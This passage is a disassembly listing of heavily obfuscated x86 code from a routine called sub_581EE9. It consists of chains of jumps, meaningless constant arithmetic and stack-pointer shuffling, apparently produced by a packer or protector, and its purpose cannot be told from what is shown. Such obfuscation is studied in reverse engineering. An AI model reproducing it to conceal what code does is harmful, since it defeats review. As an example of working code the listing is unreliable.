		pop	eax
		push	edx
		push	[esp-6E54h+arg_6E50]
		pop	edx
		pop	[esp-6E54h+arg_6E4C]
		pop	esp
		jmp	loc_596DC4
; ---------------------------------------------------------------------------


loc_59C46F:				; CODE XREF: sub_581EE9+1E11Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6E5Ch+arg_6E54]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	edi
		push	4
		pop	edi
		add	ebp, edi
		pop	edi
		push	ecx
		push	ebx
		jmp	loc_5A5996
; ---------------------------------------------------------------------------


loc_59C490:				; CODE XREF: sub_581EE9+23A4Ej
		add	esp, 4
		mov	ebx, esi
		mov	esi, [esp-6E58h+arg_6E50]
		add	esp, 4
		jmp	loc_59E380
; ---------------------------------------------------------------------------


loc_59C4A3:				; CODE XREF: sub_581EE9+13B22j
		mov	word ptr [esp-6EA2h+arg_6E9A], dx
		mov	dh, 7
		xor	al, dh
		pop	dx
		push	edx
		mov	dh, 30h
		or	al, dh
		push	[esp-6EA0h+arg_6E96+2]
		pop	edx
		add	esp, 4
		jmp	loc_5934CE
; ---------------------------------------------------------------------------


loc_59C4C1:				; CODE XREF: sub_581EE9+232AAj
		add	eax, 388235AAh
		sub	eax, 34472E63h
		push	ebx
		mov	ebx, 0
		sub	ebx, eax
		mov	eax, ebx
		pop	ebx
		jmp	loc_5996AB
; ---------------------------------------------------------------------------


loc_59C4DB:				; CODE XREF: sub_581EE9+11826j
		mov	ecx, [esp-6E8Ah+arg_6E80+2]
		push	ebx
		mov	ebx, esp
		push	1561h
		mov	dword ptr [esp-6E82h+arg_6E7A],	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp-6E86h+arg_6E7C+2]
		pop	esp
		add	edx, 4
		xchg	edx, [esp-6E8Ah+arg_6E80+2]
		jmp	loc_5A54B7
; ---------------------------------------------------------------------------


loc_59C50E:				; CODE XREF: sub_581EE9+1D538j
		shr	al, 3
		push	ebx
		mov	bl, 61h
		jmp	loc_59F7FA
; ---------------------------------------------------------------------------


loc_59C519:				; CODE XREF: sub_581EE9+1A9A5j
		add	esi, 0FF81355h
		add	esi, 80089CB0h
		jmp	loc_59738A
; ---------------------------------------------------------------------------


loc_59C52A:				; CODE XREF: sub_581EE9+21822j
		inc	esi
		neg	esi
		shl	esi, 1
		xor	esi, 0AAF82502h
		add	eax, 8472AB6h
		sub	eax, esi
		sub	eax, 8472AB6h
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_597956
; ---------------------------------------------------------------------------


loc_59C54A:				; CODE XREF: sub_581EE9+203A3j
		add	ecx, edi
		sub	ecx, 39611C5Fh
		mov	edi, [esp-6E86h+arg_6E7C+2]
		add	esp, 4
		xchg	ecx, [esp-6E8Ah+arg_6E80+2]
		mov	esp, [esp-6E8Ah+arg_6E80+2]
		pop	[esp-6E8Ah+arg_6E80+2]
		jmp	loc_5A3B74
; ---------------------------------------------------------------------------


loc_59C566:				; CODE XREF: sub_581EE9+1E008j
		sub	esp, 4
		mov	[esp-6E8Ah+arg_6E80+2],	ecx
		push	ebx
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	ecx
		jmp	loc_5A0D7B
; ---------------------------------------------------------------------------


loc_59C57B:				; CODE XREF: sub_581EE9+21CEDj
		add	bl, ch
		push	dword ptr [esp-6E82h+arg_6E7A]
		pop	ecx
		add	esp, 4
		jmp	loc_5A634A
; ---------------------------------------------------------------------------


loc_59C58C:				; CODE XREF: sub_581EE9+1359Ej
		mov	dx, word ptr [esp-6E76h+arg_6E6E]
		push	3D32h
		mov	[esp-6E72h+arg_6E68+2],	esi
		mov	esi, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_59C9DF
; ---------------------------------------------------------------------------


loc_59C5B1:				; CODE XREF: sub_581EE9+1E69Bj
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_594D2C
; ---------------------------------------------------------------------------


loc_59C5C8:				; CODE XREF: sub_581EE9+133D8j
		mov	esi, 10CE6FCEh
		sub	ebp, esi
		pop	esi
		sub	ebp, ecx
		push	ecx
		mov	ecx, 10CE6FCEh
		jmp	loc_5A0419
; ---------------------------------------------------------------------------


loc_59C5DD:				; CODE XREF: sub_581EE9+21DB3j
		mov	edx, 7ECA6460h
		xor	edx, 66F353F1h
		shr	edx, 1
		add	edx, 3558790h
		sub	eax, edx
		pop	edx
		shl	eax, 4
		xor	eax, 6A68057Dh
		dec	eax
		sub	eax, 0BEFC55C8h
		jmp	loc_5A3138
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 82685924h, 89000071h, 0EC812434h, 4,	0FF67B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C61D:				; CODE XREF: sub_581EE9+15E98j
		push	417Bh
		mov	[esp-6EA8h+arg_6E9E+2],	eax
		mov	eax, 0
		sub	eax, 3DDA72A8h
		add	eax, ebx
		add	eax, 3DDA72A8h
		push	ecx
		push	0
		pop	ecx
		add	ecx, eax
		jmp	loc_59F2B5
; ---------------------------------------------------------------------------


loc_59C644:				; CODE XREF: sub_581EE9+1184Bj
		mov	edi, 4
		jmp	loc_5928AE
; ---------------------------------------------------------------------------


loc_59C64E:				; CODE XREF: sub_581EE9+1121Bj
		xor	edi, 55521718h
		push	edx
		mov	edx, 382565A4h
		jmp	loc_59F043
; ---------------------------------------------------------------------------


loc_59C65F:				; CODE XREF: sub_581EE9+205A2j
		and	ch, dh
		mov	edx, [esp-6E42h+arg_6E3A]
		add	esp, 4
		jmp	loc_59E8DD
; ---------------------------------------------------------------------------


loc_59C66C:				; CODE XREF: sub_581EE9+1B231j
		push	ebx
		push	67C26E10h
		pop	ebx
		xor	ebx, 668817C4h
		sub	ebx, 0F6783EBBh
		sub	esp, 4
		mov	[esp-6E3Eh+arg_6E36], ebx
		mov	edi, [esp-6E3Eh+arg_6E36]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 1E145C30h
		sub	ecx, 4E111574h
		inc	ecx
		or	ecx, 303F0A13h
		dec	ecx
		add	ecx, 0FFFFFFFFh
		add	ecx, 0FC0B147h
		add	esi, ecx
		jmp	loc_596818
; ---------------------------------------------------------------------------


loc_59C6B5:				; CODE XREF: sub_581EE9+1D09Fj
		mov	[esp+0], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_59AEC7
; ---------------------------------------------------------------------------


loc_59C6CC:				; CODE XREF: sub_581EE9+211E1j
		xor	edi, 6060286Ch
		mov	ebp, edi
		pop	edi
		jmp	loc_593A0B
; ---------------------------------------------------------------------------


loc_59C6DA:				; CODE XREF: sub_581EE9+22E4Ej
		add	esi, ecx
		pop	ecx
		jmp	loc_592EB0
; ---------------------------------------------------------------------------


loc_59C6E2:				; CODE XREF: sub_581EE9+18090j
		push	ebx
		mov	ebx, 132C268Dh
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A36F9
; ---------------------------------------------------------------------------


loc_59C6F0:				; CODE XREF: sub_581EE9+1EE07j
		sub	al, 70h
		dec	al
		xor	al, 6Fh
		push	1130h
		mov	[esp-6E46h+arg_6E3E], ebx
		mov	bh, 64h
		sub	al, bh
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp-6E42h+arg_6E3A], ebx
		mov	bh, 0Ch
		add	bh, 4Fh
		push	29FDh
		mov	[esp-6E3Eh+arg_6E36], edx
		jmp	loc_598A2A
; ---------------------------------------------------------------------------


loc_59C71C:				; CODE XREF: sub_581EE9+22D34j
		pop	bx
		jmp	loc_597984
; ---------------------------------------------------------------------------


loc_59C723:				; CODE XREF: sub_581EE9+1E0D8j
		pop	[esp-6E40h+arg_6E36+2]
		jmp	loc_5920C9
; ---------------------------------------------------------------------------


loc_59C72B:				; CODE XREF: sub_581EE9+1F3DEj
		pop	ebp
		push	[esp-6E48h+arg_6E3E+2]
		push	[esp-6E44h+arg_6E3A+2]
		mov	eax, [esp-6E40h+arg_6E36+2]
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp-6E40h+arg_6E36+2]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp-6E44h+arg_6E3A+2]
		pop	esp
		sub	esp, 4
		jmp	loc_5A6606
; ---------------------------------------------------------------------------


loc_59C761:				; CODE XREF: sub_581EE9+15778j
		mov	edi, [esp-6E72h+arg_6E68+2]
		jmp	loc_599D02
; ---------------------------------------------------------------------------


loc_59C769:				; CODE XREF: sub_581EE9+13490j
		mov	esp, [esp-6E6Eh+arg_6E64+2]
		div	ecx
		push	4A5Ah
		mov	[esp-6E6Ah+arg_6E60+2],	edx
		push	eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59C77D:				; CODE XREF: sub_581EE9+18A4Dj
		sub	ebx, esi
		add	ebx, 0C1B0870h
		mov	esi, [esp-6E80h+arg_6E76+2]
		add	esp, 4
		push	esi
		push	ebp
		mov	ebp, 4E57518Dh
		mov	esi, ebp
		jmp	loc_5A350E
; ---------------------------------------------------------------------------


loc_59C799:				; CODE XREF: sub_581EE9+11D1Dj
		xor	ecx, edx
		jmp	loc_5A6FDE
; ---------------------------------------------------------------------------


loc_59C7A0:				; CODE XREF: sub_581EE9+17695j
		pop	eax
		jmp	loc_59A1E0
; ---------------------------------------------------------------------------


loc_59C7A6:				; CODE XREF: sub_581EE9+1C2B5j
		add	esi, 0B8D02766h
		sub	esi, ecx
		mov	ecx, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E66h+arg_6E5C+2],	eax
		mov	eax, 0FFFFFFFFh
		sub	esi, 72D144BCh
		sub	esi, eax
		add	esi, 72D144BCh
		pop	eax
		jmp	loc_5A4679
; ---------------------------------------------------------------------------


loc_59C7D6:				; CODE XREF: sub_581EE9+14496j
		pop	esi
		jmp	loc_5A376F
; ---------------------------------------------------------------------------


loc_59C7DC:				; CODE XREF: sub_581EE9+117D4j
		or	al, bl
		jmp	loc_5968AA
; ---------------------------------------------------------------------------


loc_59C7E3:				; CODE XREF: sub_581EE9+1E541j
		add	[esp-6E8Ah+arg_6E80+2],	4
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	0F71h
		mov	[esp-6E8Ah+arg_6E80+2],	ecx
		mov	ecx, 4
		jmp	loc_5A3001
; ---------------------------------------------------------------------------


loc_59C803:				; CODE XREF: sub_581EE9+1DED4j
		xor	[esp-6E8Ah+arg_6E80+2],	5CF82E34h
		pop	edx
		push	4682h
		mov	[esp-6E8Ah+arg_6E80+2],	ecx
		mov	ecx, 5CF82E34h
		xor	edx, ecx
		mov	ecx, [esp-6E8Ah+arg_6E80+2]
		add	esp, 4
		mov	ecx, [esp-6E8Eh+arg_6E84+2]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 16D0BB1h
		shl	ebx, 7
		dec	ebx
		push	eax
		mov	eax, 4E6A3206h
		and	eax, 66EF66A5h
		jmp	loc_599780
; ---------------------------------------------------------------------------


loc_59C843:				; CODE XREF: sub_581EE9+158A6j
		xchg	ebp, [esp-6E88h+arg_6E80]
		pop	esp
		push	ebp
		push	[esp-6E88h+arg_6E84]
		pop	ebp
		pop	[esp-6E88h+arg_6E80]
		mov	esp, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		test	ecx, eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59C85E:				; CODE XREF: sub_581EE9+15C0Ej
		mov	edx, 0B2324F8h
		xor	edx, 14A049E8h
		shr	edx, 6
		add	edx, 0FF81F250h
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp-6E9Ah+arg_6E92]
		pop	esp
		sub	eax, 37935C31h
		sub	eax, 65F55616h
		add	eax, edi
		jmp	loc_5A144A
; ---------------------------------------------------------------------------


loc_59C88D:				; CODE XREF: sub_581EE9+1C278j
		pop	edi
		jmp	loc_59C519
; ---------------------------------------------------------------------------


loc_59C893:				; CODE XREF: sub_581EE9+19715j
		pop	ebx
		pop	[esp-6E86h+arg_6E7C+2]
		jmp	loc_59EF64
; ---------------------------------------------------------------------------


loc_59C89C:				; CODE XREF: sub_581EE9+1C320j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59C8A1:				; CODE XREF: sub_581EE9+214D8j
		not	edx
		xchg	edx, ebx
		not	ebx
		add	ebx, 0E8A1C518h
		jmp	loc_5954FB
; ---------------------------------------------------------------------------


loc_59C8B2:				; CODE XREF: sub_581EE9+191EDj
		shr	ecx, 5
		add	ecx, 445E42D5h
		or	ecx, 693E36AAh
		sub	ecx, 118F5E72h
		xor	ecx, 5DF06048h
		push	2468h
		jmp	loc_593CBA
; ---------------------------------------------------------------------------


loc_59C8D7:				; CODE XREF: sub_581EE9+1BE38j
		sub	edi, 5BFB5BE4h
		jmp	loc_595C32
; ---------------------------------------------------------------------------


loc_59C8E2:				; CODE XREF: sub_581EE9+11E4Cj
		xor	[esp-6EB2h+arg_6EA8+2],	ebx
		xor	ebx, [esp-6EB2h+arg_6EA8+2]
		jmp	loc_5A3F50
; ---------------------------------------------------------------------------


loc_59C8ED:				; CODE XREF: sub_581EE9+1B8C7j
		mov	ax, word ptr [esp-6EB2h+arg_6EA8+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	1435h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	esi
		push	2A4D06BBh
		pop	esi
		inc	esi
		jmp	loc_59AF16
; ---------------------------------------------------------------------------


loc_59C90E:				; CODE XREF: sub_581EE9+127DAj
		neg	esi
		xchg	eax, esi
		push	1966h
		mov	[esp-6EA4h+arg_6E9A+2],	edx
		mov	edx, 0FE858AC9h
		xor	eax, edx
		push	[esp-6EA4h+arg_6E9A+2]
		pop	edx
		add	esp, 4
		push	eax
		add	[esp-6EA4h+arg_6E9A+2],	6A817C55h
		jmp	loc_592901
; ---------------------------------------------------------------------------


loc_59C937:				; CODE XREF: sub_581EE9+1C723j
		mov	eax, 4F215B82h
		xor	eax, edi
		jmp	loc_59AB62
; ---------------------------------------------------------------------------


loc_59C943:				; CODE XREF: sub_581EE9+22438j
		push	esp
		pop	[esp-6EA0h+arg_6E96+2]
		add	[esp-6EA4h+arg_6E9A+2],	4
		pop	edi
		jmp	loc_5A6D24
; ---------------------------------------------------------------------------


loc_59C954:				; CODE XREF: sub_581EE9+134B6j
		sub	ecx, edi
		push	[esp-6E6Eh+arg_6E64+2]
		pop	edi
		jmp	loc_595316
; ---------------------------------------------------------------------------


loc_59C95F:				; CODE XREF: sub_581EE9+1E2C8j
		xor	[esp-6E6Eh+arg_6E64+2],	ebp
		xor	ebp, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		mov	[esp-6E72h+arg_6E68+2],	edi
		push	edx
		push	esi
		mov	esi, 251B0D98h
		mov	edx, esi
		pop	esi
		neg	edx
		inc	edx
		add	edx, 10720FFCh
		push	edi
		mov	edi, 2FBC72B0h
		not	edi
		sub	edi, 43934989h
		neg	edi
		jmp	loc_59EE77
; ---------------------------------------------------------------------------


loc_59C991:				; CODE XREF: sub_581EE9+1E3B2j
		sub	ebp, edi
		pop	edi
		sub	ebp, 0BDC39631h
		sub	edi, 79FB64C1h
		add	edi, ebp
		add	edi, 79FB64C1h
		jmp	loc_5A6C15
; ---------------------------------------------------------------------------


loc_59C9AD:				; CODE XREF: sub_581EE9+11F77j
		pop	ecx
		sub	eax, 3CC14495h
		jmp	loc_596713
; ---------------------------------------------------------------------------


loc_59C9B8:				; CODE XREF: sub_581EE9+1F179j
		mov	ecx, [esp-6E96h+arg_6E8E]
		add	esp, 4
		add	al, dh
		mov	edx, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		sub	al, 3Dh
		sub	al, 0B0h
		add	al, bl
		jmp	loc_5A190D
; ---------------------------------------------------------------------------


loc_59C9D1:				; CODE XREF: sub_581EE9+1734Aj
		pop	esp
		add	edx, 4
		push	ebp
		push	eax
		jmp	loc_5A14F5
; ---------------------------------------------------------------------------


loc_59C9DF:				; CODE XREF: sub_581EE9+1A6C3j
		pop	esp
		mov	[esp-6E72h+arg_6E68+2],	edi
		mov	edi, 1365385h
		xor	edi, 18A6A6Bh
		push	ebp
		jmp	loc_59F1B8
; ---------------------------------------------------------------------------


loc_59C9F4:				; CODE XREF: sub_581EE9+15E32j
		xchg	edx, [esp-6EBEh+arg_6EB6]
		mov	esp, [esp-6EBEh+arg_6EB6]
		jmp	loc_5A6BBB
; ---------------------------------------------------------------------------


loc_59C9FF:				; CODE XREF: sub_581EE9+1B4AEj
		add	eax, 8D089679h
		xor	esi, eax
		pop	eax
		add	edx, 74AB77E3h
		sub	edx, 49650FB1h
		add	edx, esi
		jmp	loc_59AC80
; ---------------------------------------------------------------------------


loc_59CA1A:				; CODE XREF: sub_581EE9+238FCj
		push	edx
		mov	dh, 6Dh
		and	dh, 36h
		push	ebx
		mov	bl, 5Fh
		not	bl
		xor	bl, 7Ah
		or	dh, bl
		pop	ebx
		neg	dh
		push	cx
		mov	cl, 4Bh
		xor	dh, cl
		jmp	loc_5A6AEC
; ---------------------------------------------------------------------------


loc_59CA38:				; CODE XREF: sub_581EE9+199C4j
		mov	ebx, 39B020F1h
		add	ebx, 29F76C39h
		sub	edi, ebx
		pop	ebx
		mov	ecx, edi
		pop	edi
		sub	ecx, eax
		xchg	eax, ecx
		pop	ecx
		xor	eax, 3E8BE4FAh
		mov	ebp, eax
		pop	eax
		add	ebx, ebp
		jmp	loc_593D23
; ---------------------------------------------------------------------------


loc_59CA5C:				; CODE XREF: sub_581EE9+21E81j
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_59A30A
; ---------------------------------------------------------------------------


loc_59CA6C:				; CODE XREF: sub_581EE9+18780j
		add	bh, 2Ah
		push	ecx
		jmp	loc_5A490C
; ---------------------------------------------------------------------------


loc_59CA75:				; CODE XREF: sub_581EE9+1FE47j
		push	217Dh
		mov	[esp-6E64h+arg_6E5C], ebp
		sub	esp, 4
		mov	[esp-6E60h+arg_6E58], eax
		mov	eax, 35C316E8h
		mov	ebp, 36C94B52h
		jmp	loc_5A33C6
; ---------------------------------------------------------------------------


loc_59CA95:				; CODE XREF: sub_581EE9+16ABDj
		push	[esp-6EA8h+arg_6E9E+2]
		pop	esi
		add	esp, 4
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		push	251Eh
		mov	[esp-6EA8h+arg_6E9E+2],	ebp
		mov	ebp, esp
		jmp	loc_59D02D
; ---------------------------------------------------------------------------


loc_59CABA:				; CODE XREF: sub_581EE9+14812j
		pop	edx
		sub	esp, 4
		mov	[esp-6EC2h+arg_6EBA], eax
		jmp	loc_5A0DB8
; ---------------------------------------------------------------------------


loc_59CAC9:				; CODE XREF: sub_581EE9+136CDj
		shr	edi, 3
		push	edi
		dec	[esp-6E9Ah+arg_6E92]
		pop	edi
		shl	edi, 1
		xor	edi, 0EFC9156h
		sub	ebx, edi
		jmp	loc_5A5636
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	eax
		mov	eax, esp
		jmp	loc_5A560C
; ---------------------------------------------------------------------------


loc_59CAEB:				; CODE XREF: sub_581EE9+1F1AAj
		add	ebx, edx
		pop	edx
		add	ebx, 2
		jmp	loc_5930CE
; ---------------------------------------------------------------------------


loc_59CAF9:				; CODE XREF: sub_581EE9+22A08j
		push	bx
		mov	bl, 0A8h
		xor	ah, bl
		pop	bx
		sub	bl, ah
		mov	eax, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		mov	dh, bl
		pop	ebx
		neg	dh
		push	ax
		mov	ah, dh
		push	ecx
		mov	cl, ah
		not	cl
		mov	ah, cl
		jmp	loc_59D061
; ---------------------------------------------------------------------------


loc_59CB21:				; CODE XREF: sub_581EE9+1F9E0j
		sub	edx, ebx
		pop	ebx
		pop	ebx
		add	edx, 65854C8Bh
		sub	edx, 0DD606CCAh
		add	esi, edx
		pop	edx
		jmp	loc_59D7A1
; ---------------------------------------------------------------------------


loc_59CB39:				; CODE XREF: sub_581EE9+16E5Cj
		pop	edx
		add	edx, 6EFC0BF5h
		pop	ebx
		push	esi
		mov	esi, 0C451AD2Fh
		add	edx, esi
		mov	esi, [esp-6E8Ah+arg_6E80+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A5E81
; ---------------------------------------------------------------------------


loc_59CB5A:				; CODE XREF: sub_581EE9+19179j
		xor	esi, ebx
		push	dword ptr [esp-6EAAh+arg_6EA2]
		mov	ebx, [esp-6EA6h+arg_6E9E]
		jmp	loc_5963E2
; ---------------------------------------------------------------------------


loc_59CB67:				; CODE XREF: sub_581EE9+122ABj
		push	643Dh
		mov	[esp-6EC4h+arg_6EBA+2],	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edx
		push	[esp-6EC4h+arg_6EBE+2]
		pop	edx
		pop	[esp-6EC4h+arg_6EBA+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59CB91:				; CODE XREF: sub_581EE9+1BE27j
		mov	eax, [esp-6EC8h+arg_6EBE+2]
		push	ebx
		mov	ebx, esp
		jmp	loc_598D7A
; ---------------------------------------------------------------------------


loc_59CB9C:				; CODE XREF: sub_581EE9+1AE56j
		pop	ecx
		xor	di, 0AA8h
		xchg	ax, di
		jmp	loc_597AC1
; ---------------------------------------------------------------------------


loc_59CBA9:				; CODE XREF: sub_581EE9+19D7Fj
		pop	[esp-6E5Eh+arg_6E54+2]
		pop	esp
		add	edx, ebp
		push	[esp-6E66h+arg_6E5C+2]
		pop	ebp
		add	esp, 4
		xchg	edx, [esp-6E6Ah+arg_6E60+2]
		mov	esp, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_59DB2A
; ---------------------------------------------------------------------------


loc_59CBC4:				; CODE XREF: sub_581EE9+1A298j
		shr	esi, 7
		jmp	loc_5A2AC7
; ---------------------------------------------------------------------------


loc_59CBCC:				; CODE XREF: sub_581EE9+1D636j
		mov	edi, 4
		jmp	loc_59EDB2
; ---------------------------------------------------------------------------


loc_59CBD6:				; CODE XREF: sub_581EE9+2404Bj
		sub	eax, 3A065B0h
		pop	edx
		add	eax, 462A128Eh
		push	[esp-6E7Ch+arg_6E72+2]
		pop	edx
		push	eax
		jmp	loc_59D4C7
; ---------------------------------------------------------------------------


loc_59CBEB:				; CODE XREF: sub_581EE9+1060Aj
		push	edx
		mov	edx, 1EF66B0Dh
		add	edx, 2C75495Eh
		xor	edx, 601C3D87h
		sub	edx, 0AC375B38h
		xor	ebx, edx
		jmp	loc_59C1B0
; ---------------------------------------------------------------------------


loc_59CC0A:				; CODE XREF: sub_581EE9+10858j
		mov	edx, 2
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp-6EC8h+arg_6EBE+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		mov	word ptr [esp-6EC8h+arg_6EBE+2], cx
		mov	cl, 7Ch
		add	al, 0Ch
		push	ebx
		jmp	loc_5928C9
; ---------------------------------------------------------------------------


loc_59CC26:				; CODE XREF: sub_581EE9+131EBj
		and	edi, ebp
		pop	ebp
		sub	edi, 0FFFFFFFFh
		jmp	loc_59F168
; ---------------------------------------------------------------------------


loc_59CC31:				; CODE XREF: sub_581EE9+21CB8j
		not	ecx
		xor	ecx, 0EED0D2B2h
		add	ebx, 1505353Dh
		sub	ebx, ecx
		sub	ebx, 1505353Dh
		pop	ecx
		or	ebx, 7DF65F9Dh
		push	ebp
		jmp	loc_59CE05
; ---------------------------------------------------------------------------


loc_59CC54:				; CODE XREF: sub_581EE9+23733j
		pop	eax
		push	16EAh
		mov	[esp-6EA6h+arg_6E9E], edx
		push	3417h
		mov	[esp-6EA2h+arg_6E9A], ebp
		mov	ebp, 4
		jmp	loc_598B53
; ---------------------------------------------------------------------------


loc_59CC6F:				; CODE XREF: sub_581EE9+17CD4j
		push	edx
		mov	dh, 73h
		xor	dh, 72h
		sub	bl, dh
		pop	edx
		add	bl, 1
		inc	bl
		and	bl, 0BBh
		or	bl, 0A3h
		push	5F0Dh
		mov	[esp-6EA4h+arg_6E9A+2],	edx
		push	ebx
		push	36B3h
		jmp	loc_5A4A98
; ---------------------------------------------------------------------------


loc_59CC96:				; CODE XREF: sub_581EE9+1F12Aj
		push	0AC6h
		mov	[esp-6E98h+arg_6E8E+2],	ecx
		mov	ecx, 61BC3956h
		inc	ecx
		add	ecx, 42CE161Ah
		not	ecx
		sub	ecx, 45BC7844h
		push	34E7h
		mov	[esp-6E94h+arg_6E8A+2],	edx
		push	esi
		mov	esi, 561A7ECEh
		mov	edx, 3DF31F85h
		xor	edx, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, 41D64703h
		add	edi, 5BC2053h
		sub	edi, 32F363C4h
		xor	edi, 5F6F612Ch
		add	edi, 3012D2F7h
		or	edx, edi
		pop	edi
		push	0
		sub	[esp+0], edx
		pop	edx
		push	eax
		mov	eax, 62053C6Bh
		inc	eax
		sub	eax, 75983267h
		shr	eax, 5
		sub	eax, 0D51607D6h
		or	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 37E8DD3Ch
		add	edx, ebx
		pop	ebx
		jmp	loc_5A3057
; ---------------------------------------------------------------------------
		push	2EC8h
		mov	[esp+0], ecx
		push	ebx
		mov	ebx, 3Ch
		mov	ecx, ebx
		jmp	loc_594F4B
; ---------------------------------------------------------------------------


loc_59CD34:				; CODE XREF: sub_581EE9+12070j
		not	cx
		sub	cx, 6E96h
		mov	di, cx
		jmp	loc_59CB9C
; ---------------------------------------------------------------------------


loc_59CD44:				; CODE XREF: sub_581EE9+12F4Fj
		add	esp, 4
		push	eax
		mov	eax, 56652197h
		shl	eax, 6
		push	edx
		mov	edx, 8781EA2h
		push	ebx
		jmp	loc_59A2C9
; ---------------------------------------------------------------------------


loc_59CD5F:				; CODE XREF: sub_581EE9+1B779j
		push	48AB54E2h
		pop	ebx
		add	ebx, 1
		push	edi
		jmp	loc_5A0C10
; ---------------------------------------------------------------------------


loc_59CD71:				; CODE XREF: sub_581EE9+110E5j
		pop	eax
		push	dx
		xor	byte ptr [esp-6E60h+arg_6E58], bh
		xor	bh, byte ptr [esp-6E60h+arg_6E58]
		xor	byte ptr [esp-6E60h+arg_6E58], bh
		jmp	loc_59588B
; ---------------------------------------------------------------------------


loc_59CD82:				; CODE XREF: sub_581EE9+1D37Bj
		push	edx
		push	ecx
		push	5A6C3D36h
		pop	ecx
		xor	ecx, 8214824h
		xor	ecx, 7BF37427h
		mov	edx, ecx
		pop	ecx
		add	edx, 1
		shr	edx, 3
		shl	edx, 1
		neg	edx
		xor	edx, 0FC6F6795h
		xor	eax, edx
		pop	edx
		mov	ebp, eax
		jmp	loc_5A639F
; ---------------------------------------------------------------------------


loc_59CDB6:				; CODE XREF: sub_581EE9+2117Cj
		mov	edx, [esp-6E60h+arg_6E58]
		push	ecx
		jmp	loc_5982C8
; ---------------------------------------------------------------------------


loc_59CDBF:				; CODE XREF: sub_581EE9+24F25j
		mov	edx, [esp-6E5Ch+arg_6E54]
		add	esp, 4
		add	[esp-6E60h+arg_6E5C], 15F221EFh
		jmp	loc_5A01D5
; ---------------------------------------------------------------------------


loc_59CDD5:				; CODE XREF: sub_581EE9+150E5j
		xchg	edi, esi
		xor	esi, 13511473h
		push	3B4Bh
		mov	[esp-6E54h+arg_6E4C], eax
		mov	eax, 32E32EF2h
		jmp	loc_59DA4B
; ---------------------------------------------------------------------------


loc_59CDEF:				; CODE XREF: sub_581EE9+13B49j
		xor	[esp-6E66h+arg_6E5C+2],	534F53C9h
		pop	ebp
		xor	ebp, 534F53C9h
		mov	ebx, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_5A5CEB
; ---------------------------------------------------------------------------


loc_59CE05:				; CODE XREF: sub_581EE9+1AD66j
		mov	ebp, 0FFFF5FBDh
		xor	ebx, ebp
		pop	ebp
		sub	esi, ebx
		jmp	loc_593235
; ---------------------------------------------------------------------------


loc_59CE14:				; CODE XREF: sub_581EE9+114A2j
		mov	ebx, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		mov	eax, 0E131C186h
		add	eax, ebx
		push	dword ptr [esp+0]
		pop	ebx
		push	55EAh
		mov	[esp-6E8Ch+arg_6E84], esi
		push	esp
		pop	esi
		push	eax
		jmp	loc_59FE67
; ---------------------------------------------------------------------------


loc_59CE38:				; CODE XREF: sub_581EE9+14F67j
		add	ecx, ebp
		jmp	loc_598B2B
; ---------------------------------------------------------------------------


loc_59CE3F:				; CODE XREF: sub_581EE9+1D21Ej
		pop	esi
		jmp	loc_5A3F2A
; ---------------------------------------------------------------------------


loc_59CE45:				; CODE XREF: sub_581EE9+14F3Bj
		pop	ebx
		pop	ecx
		push	[esp-6EB0h+arg_6EA8]
		push	[esp-6EACh+arg_6EA4]
		pop	esi
		add	esp, 4
		add	esp, 4
		push	677Fh
		mov	[esp-6EB0h+arg_6EA8], esi
		push	ebx
		push	24711473h
		jmp	loc_5956EC
; ---------------------------------------------------------------------------


loc_59CE6A:				; CODE XREF: sub_581EE9+1103Fj
		add	esp, 4
		sub	ecx, 75FF37DCh
		sub	ecx, esi
		add	ecx, 75FF37DCh
		pop	esi
		pop	ebx
		add	ecx, 4
		sub	esp, 4
